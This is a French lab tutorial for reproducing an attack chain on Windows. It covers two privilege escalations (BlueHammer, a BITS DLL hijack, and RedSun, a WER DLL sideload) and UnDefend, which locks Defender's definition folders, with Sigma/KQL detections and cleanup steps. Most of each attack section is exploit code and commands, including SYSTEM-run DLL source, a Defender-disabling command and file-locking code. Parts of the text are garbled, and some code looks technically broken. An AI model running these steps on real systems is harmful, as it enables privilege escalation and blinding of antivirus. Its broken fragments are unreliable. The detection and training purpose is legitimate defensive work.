BlueHammer, RedSun, UnDefend forment une chaîne d’attaque complète : élévation de privilèges (LPE) + defense evasion, observée en conditions réelles en avril 2026.
Ce tutoriel permet de reproduire pas-à-pas chaque étape dans un laboratoire isolé, d’analyser les mécanismes, et de développer des détections.
Du simple utilisateur à l’aveuglement complet de Microsoft Defender (CVE 2026-45496 / 45497 / 45498) – Lab complet, reproductible, analysable
Les deux LPE (BlueHammer ou RedSun) mènent à SYSTEM. UnDefend est alors déployé pour aveugler Defender. La persistance assure l’effet après reboot.
Mécanisme : Exploite une mauvaise validation des ACL sur le dossier de travail du service BITS (C:\ProgramData\Microsoft\Network\Downloader\). Un utilisateur standard peut y créer un fichier qmgr.dll malveillant, chargé par le service BITS (SYSTEM).
qmgr.dll depuis son répertoire de données, qui est accessible en écriture par les utilisateurs standards (défaut de configuration).# 1. Créer un répertoire de travail
mkdir C:\lab\bluehammer
cd C:\lab\bluehammer
# 2. Vérifier que le dossier BITS est accessible en écriture (normalement oui)
icacls "C:\ProgramData\Microsoft\Network\Downloader\"
// bluehammer_dll.cpp – Compiler avec : cl /LD bluehammer_dll.cpp
// Cette DLL, placée dans le dossier BITS, sera chargée par le service SYSTEM.
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Action simple : créer un fichier témoin dans C:\lab
system("cmd.exe /c echo BlueHammer LPE réussi > C:\\lab\\bluehammer_system.txt");
// Dans un vrai exploit, on lancerait un reverse shell ou un élévateur.
}
return TRUE;
}
# Copier la DLL compilée dans le dossier BITS
copy bluehammer_dll.dll "C:\ProgramData\Microsoft\Network\Downloader\qmgr.dll"
# Redémarrer le service BITS pour forcer le chargement
net stop bits
net start bits
# Vérifier le résultat : le fichier C:\lab\bluehammer_system.txt doit exister
# Il a été créé avec les droits SYSTEM.
dir C:\lab\bluehammer_system.txt
C:\ProgramData\Microsoft\Network\Downloader\title: BlueHammer BITS DLL Hijacking
detection:
selection:
TargetFilename|endswith: '\Downloader\qmgr.dll'
Signature|missing: true
condition: selection
level: critical
del "C:\ProgramData\Microsoft\Network\Downloader\qmgr.dll"
net stop bits & net start bits
del C:\lab\bluehammer_system.txt
Mécanisme : Exploite une faille dans le service WER (WerFault.exe) qui peut être trompé pour charger une DLL arbitraire depuis un emplacement contrôlé par l’utilisateur.
C:\ProgramData\Microsoft\Windows\WER\.mkdir C:\lab\redsun
cd C:\lab\redsun
// redsun_dll.cpp – Compiler : cl /LD redsun_dll.cpp
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c echo RedSun LPE réussi > C:\\lab\\redsun_system.txt");
}
return TRUE;
}
Le véritable exploit nécessite un déclencheur de crash. En laboratoire, on utilise un outil fourni dans le dépôt éducatif :
# Placer la DLL dans le dossier WER approprié
copy redsun_dll.dll "C:\ProgramData\Microsoft\Windows\WER\Temp\wer.dll"
# Déclencher une erreur contrôlée (via un programme factice ou un script)
# Ici, on utilise un outil dédié (RedSun.exe à obtenir dans le dépôt éducatif)
.\RedSun.exe --trigger
# Vérifier l’élévation
dir C:\lab\redsun_system.txt
C:\ProgramData\Microsoft\Windows\WER\Temp\*.dll.title: RedSun WER DLL Sideloading
detection:
selection:
TargetFilename|contains: '\WER\Temp\'
TargetFilename|endswith: '.dll'
Signature: false
condition: selection
level: high
del "C:\ProgramData\Microsoft\Windows\WER\Temp\wer.dll" 2>nul
del C:\lab\redsun_system.txt
Mécanisme : Une fois SYSTEM obtenu, UnDefend pose 4 verrous indépendants sur les dossiers de définitions Defender et les canaux de mise à jour, bloquant les signatures nouvelles et parfois la plateforme elle-même.
LockFileEx sur le dossier Definition Updates.SetHandleInformation pour empêcher la réouverture.// undefend_lock.cpp – Compiler : cl /EHsc undefend_lock.cpp
#include <windows.h>
#include <iostream>
int main() {
const wchar_t* path = L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*";
HANDLE h = CreateFileW(path, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
OVERLAPPED ov = {0};
LockFileEx(h, LOCKFILE_EXCLUSIVE_LOCK, 0, 0xFFFFFFFF, 0xFFFFFFFF, &ov);
std::wcout << L"[+] Lock maintenu sur Defender. Appuyez sur Entrée pour libérer.\n";
getchar();
UnlockFileEx(h, 0, 0xFFFFFFFF, 0xFFFFFFFF, &ov);
CloseHandle(h);
return 0;
}
# En tant que SYSTEM (ou via l’élévation précédente)
UnDefend.exe --mode passive
# Vérifier que les mises à jour échouent
Update-MpSignature -Verbose # Doit échouer
# Surveillance de l’état Defender
Get-MpComputerStatus | Select LastSignatureUpdate, AMServiceEnabled
Definition Updates par un processus non-MsMpEng.title: UnDefend Lock on Defender Definitions
detection:
selection:
EventID: 4663
ObjectName|contains: "Definition Updates"
ProcessName|not contains: "MsMpEng.exe"
condition: selection
level: high
taskkill /F /IM UnDefend.exe 2>nul
Restart-Service WinDefend -Force
Update-MpSignature
Objectif : reproduire la chaîne réelle observée en avril 2026.
Set-MpPreference -DisableRealtimeMonitoring $trueAprès l’attaque, analyser les logs avec Event Viewer, PowerShell, ou un outil SIEM.
# Collecte des événements clés
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} | Where-Object {$_.Message -like "*Definition Updates*"}
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' | Where-Object {$_.Id -in 1116,1117,2001}
# Vérifier les services masqués
Get-Service | Where-Object {$_.Name -like "*Defend*" -or $_.DisplayName -like "*Defender*"}
# Vérifier les Scheduled Tasks suspectes
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Defender*"}
// Détection de la chaîne complète
let LPE = DeviceProcessEvents
| where FileName in~ ("bluehammer.exe", "redsun.exe")
| project LPE_Time=Timestamp, DeviceId, AccountName;
let DefenseEvasion = DeviceFileEvents
| where FolderPath contains @"Definition Updates"
| where InitiatingProcessFileName != "MsMpEng.exe"
| project DE_Time=Timestamp, DeviceId, ProcessName;
LPE | join DefenseEvasion on DeviceId
| where DE_Time > LPE_Time
BlueHammer et RedSun utilisent des vecteurs distincts. En conditions réelles, l’attaquant choisit celui qui n’est pas patché ou qui n’est pas détecté.
Partiellement. Les locks exclusifs simples sont atténués, mais des variantes (oplocks, job objects) restent efficaces sur de nombreux systèmes non mis à jour.
Sur le dépôt GitHub restreint : https://github.com/PCTAMALOU-Research/Trilogie-Lab (accès sur demande aux formations certifiées).
Activez Microsoft Defender for Endpoint (détections comportementales), déployez les règles Sigma fournies, surveillez les Event ID 4663, et appliquez le principe du moindre privilège.
Vous disposez désormais d’un laboratoire complet reproductible pour simuler, analyser et détecter la trilogie Nightmare Eclipse.
Chaque étape (BlueHammer, RedSun, UnDefend) est expliquée techniquement, avec du code éducatif minimal, des commandes d’exécution, des règles de détection, et des procédures de nettoyage.